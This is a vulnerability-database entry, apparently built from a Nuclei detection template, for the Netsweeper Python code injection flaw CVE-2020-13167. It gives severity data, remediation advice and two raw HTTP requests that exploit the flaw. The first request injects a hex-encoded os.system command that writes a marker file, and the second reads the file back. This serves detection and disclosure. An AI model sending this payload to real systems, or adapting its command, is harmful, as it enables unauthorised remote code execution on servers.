| Title | Netsweeper <=6.4.3 - Python Code Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system. |
| Remediation | Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93127 |
| CVE ID | CVE-2020-13167 |
| CWE ID | CWE-78 |
| Tags | cve2020 cve netsweeper rce python webadmin vkev vuln |
Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
GET /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f20224d7a68475556647765467068616b316c5a455a555645466d6333517a564846615633673122207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16
Connection: close
Accept: */*
Accept-Language: en
Referer: http://www.victim.com/webadmin/admin/service_manager_data.php
Accept-Encoding: gzip
GET /webadmin/out HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Referer: http://www.victim.com/webadmin/admin/service_manager_data.php
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13167.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13167.pcap
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